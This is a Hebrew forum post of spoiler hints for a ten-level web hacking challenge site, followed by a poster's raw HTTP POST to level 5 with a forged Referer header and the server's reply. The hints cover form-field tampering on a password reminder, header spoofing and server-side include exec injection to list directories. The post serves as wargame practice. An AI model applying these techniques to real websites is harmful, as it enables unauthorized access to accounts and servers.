----רמזים - מי שלא רוצה שלא יקרא -----
----רמזים - מי שלא רוצה שלא יקרא -----
----רמזים - מי שלא רוצה שלא יקרא -----
----רמזים - מי שלא רוצה שלא יקרא -----
----רמזים - מי שלא רוצה שלא יקרא -----
----רמזים - מי שלא רוצה שלא יקרא -----
----רמזים - מי שלא רוצה שלא יקרא -----
----רמזים - מי שלא רוצה שלא יקרא -----
----רמזים - מי שלא רוצה שלא יקרא -----
----רמזים - מי שלא רוצה שלא יקרא -----
----רמזים - מי שלא רוצה שלא יקרא -----
----רמזים - מי שלא רוצה שלא יקרא -----
----רמזים - מי שלא רוצה שלא יקרא -----

שלב 1- די אידיוטי , חפש ב-source
שלב 2- חסר קובץ הסיסמאות...כלומר אם איזה סיסמה הוא משווה את הסיסמה שאתה מכניס לו?
שלב 3- עכשיו קובץ הסיסמאות נמצא. איך קוראים לו? איפה הוא נמצא?
שלב 4- שליחת הסיסמה מתבצעת ע"י האימאייל שהוא מקבל , נסה לשנות את זה.
שלב 5 - אותו דבר , רק חסר referer
שלב 6- יש הצפנה....תעשו חיפוש פה בפורוןם לגבי סוגי הצפנה. נסו לרשום AAAAAAAAA בתיבה שם.
שלב 7- בגלל בעיות אבטחה נותנים לכם את הסיסמה.....חחח....
שלב 8- חזרו קצת על פקודות shtml (קצת גוגל - נסו לחפש על exec ויכולותיה) . (רמז עבה: מהי הפקדוה המקבילה ל-Dir ב-unix?)
שלב 9 -יש לחזור לשלב 8 , להקיש מה שהקשתם כשפתרתם אז ואז להוסיף עוד משהו....
שלב 10- משהו להתעסק עם ב-cookies , אם למישהו יש רמז אז שיכתוב לי..

כאחד שלא מבין דבר וחצי דבר באבטחה ופריצות מתפיע שעברתי אתה שלב 1 :-D

וברצינות...
אני שולח ל:

http://www.hulla-balloo.com/hack/level5/level5.php

POST http://www.hulla-balloo.com/hack/level5/level5.php HTTP/1.0
Host: www.hulla-balloo.com
Referer: http://www.hulla-balloo.com/hack/level5/index.php
prama: no-cache
Accept: text/html, image/png, image/jpeg, image/gif, image/x-xbitmap
, */*

[email protected]

HTTP/1.0 200 OK
Date: Tue, 01 Jul 2003 09:01:09 GMT
Content-Type: text/html
Server: Apache/1.3.20 Sun Cobalt (Unix) Chili!Soft-ASP/3.6.2 
mod_ssl/2.8.4 OpenSSL/0.9.6b PHP/4.1.2 mod_auth_pam_external/0.1 
FrontPage/4.0.4.3 mod_perl/1.25
X-Powered-By: PHP/4.1.2
Via: 1.1 netcache (NetCache NetApp/5.2.1R2)

Password reminder successfully sent.